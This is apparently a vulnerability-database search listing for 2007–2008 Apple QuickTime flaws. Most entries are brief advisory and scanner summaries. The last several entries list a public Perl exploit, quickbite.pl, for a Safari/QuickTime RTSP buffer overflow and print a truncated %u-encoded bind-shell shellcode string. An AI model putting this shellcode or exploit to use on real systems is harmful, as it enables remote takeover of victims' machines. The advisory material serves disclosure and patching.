3525 matches found
QuickTime < 7.5.5 Multiple Vulnerabilities (Windows)
The version of QuickTime installed on the remote Windows host is older than 7.5.5. Such versions contain several vulnerabilities : - An integer overflow in QuickTime's handling of PICT images may lead to an application crash or arbitrary code execution CVE-2008-3614. - An uninitialized memory...
ZDI-08-059: Apple QuickTime STSZ Atom Parsing Heap Corruption Vulnerability
ZDI-08-059: Apple QuickTime STSZ Atom Parsing Heap Corruption Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-08-059 September 9, 2008 -- CVE ID: CVE-2008-3626 -- Affected Vendors: Apple -- Affected Products: Apple Quicktime -- TippingPointTM IPS Customer Protection: TippingPoint IP...
QuickTime < 7.5.5 Multiple Vulnerabilities (Mac OS X)
The version of QuickTime installed on the remote Mac OS X host is older than 7.5.5. Such versions contain several vulnerabilities : - Heap and stack-based buffer overflows in the handling of panorama atoms in QTVR QuickTime Virtual Reality movie files could lead to an application crash or arbitra...
Apple QuickTime IV32 Codec Parsing Stack Overflow Vulnerability
This vulnerability allows attackers to execute arbitrary code on vulnerable installations of Apple QuickTime. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of QuickTim...
Apple QuickTime AVC1 Atom Parsing Heap Overflow Vulnerability
This vulnerability allows attackers to execute arbitrary code on vulnerable installations of Apple QuickTime Player. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists in the parsing of AVC1...
Apple QuickTime Player H.264 Parsing Heap Corruption Vulnerability
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists in the parsing of MP4...
Apple QuickTime MDAT Frame Parsing Memory Corruption Vulnerability
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists in the parsing of mov...
Apple QuickTime STSZ Atom Parsing Heap Corruption Vulnerability
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists in the handling of STSZ...
FreeBSD Ports: DarwinStreamingServer
The remote host is missing an update to the system as announced in the referenced advisory. SPDX-FileCopyrightText: 2008 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...
FreeBSD Ports: firefox
The remote host is missing an update to the system as announced in the referenced advisory. SPDX-FileCopyrightText: 2008 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...
Memory corruption
Apple QuickTime before 7.4.5 allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via crafted ftyp atoms in a movie file, which triggers memory corruption...
CVE-2008-1739
Apple QuickTime before 7.4.5 allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via crafted ftyp atoms in a movie file, which triggers memory corruption...
CVE-2008-1739
Apple QuickTime before 7.4.5 allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via crafted ftyp atoms in a movie file, which triggers memory corruption...
CVE-2008-1739
Apple QuickTime before 7.4.5 is affected by CVE-2008-1739. The flaw allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via crafted ftyp atoms in a movie file, triggering memory corruption. Affected component: QuickTime parsing of ftyp atoms in MP4/MOV...
CVE-2008-1739: Undefined Security Weakness
Apple QuickTime before 7.4.5 allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via crafted ftyp atoms in a movie file, which triggers memory corruption...
quickbite.pl.txt
!/usr/bin/perl quickbite.pl Safari + Quicktime 8080; $shellcode = "%uc031%u6850%u02ff%u5c11%ue789%u6a50%u6a01%u6a02%ub010%ucd61%u5780%u5050%u686a%ucd58%u8980%uec47%u6ab0%u80cd%u1eb0%u80cd%u5050%u5a6a%ucd58%uff80%ue44f%uf679%u6850%u2f2f%u6873%u2f68%u6962%u896e%u50e3%u5454%u5053%u3bb0%u80cd"; $buf ...
Safari + Quicktime <= 7.3 RTSP Content-Type Remote BOF Exploit
No description provided by source. !/usr/bin/perl quickbite.pl Safari + Quicktime = 7.3 RTSP Content-Type overflow exploit for Mac OS X Intel Tested with OS X 10.4. On victim, browse to http://server:8080/ Binds shell on port 4444. by krafty greets to sk, halvar, grugq, and all the ethnical hacke...
Apple Safari QuickTime 7.3 - RTSP Content-Type Remote Buffer Overflow
Apple Safari QuickTime 7.3 - RTSP Content-Type Remote Buffer Overflow !/usr/bin/perl quickbite.pl Safari + Quicktime 8080; $shellcode =...
Safari + Quicktime <= 7.3 RTSP Content-Type Remote BOF Exploit
Exploit for macOS platform in category remote exploits ============================================================== Safari + Quicktime 8080; $shellcode =...
Apple Safari / QuickTime 7.3 - RTSP Content-Type Remote Buffer Overflow
!/usr/bin/perl quickbite.pl Safari + Quicktime 8080; $shellcode = "%uc031%u6850%u02ff%u5c11%ue789%u6a50%u6a01%u6a02%ub010%ucd61%u5780%u5050%u686a%ucd58%u8980%uec47%u6ab0%u80cd%u1eb0%u80cd%u5050%u5a6a%ucd58%uff80%ue44f%uf679%u6850%u2f2f%u6873%u2f68%u6962%u896e%u50e3%u5454%u5053%u3bb0%u80cd"; $buf ...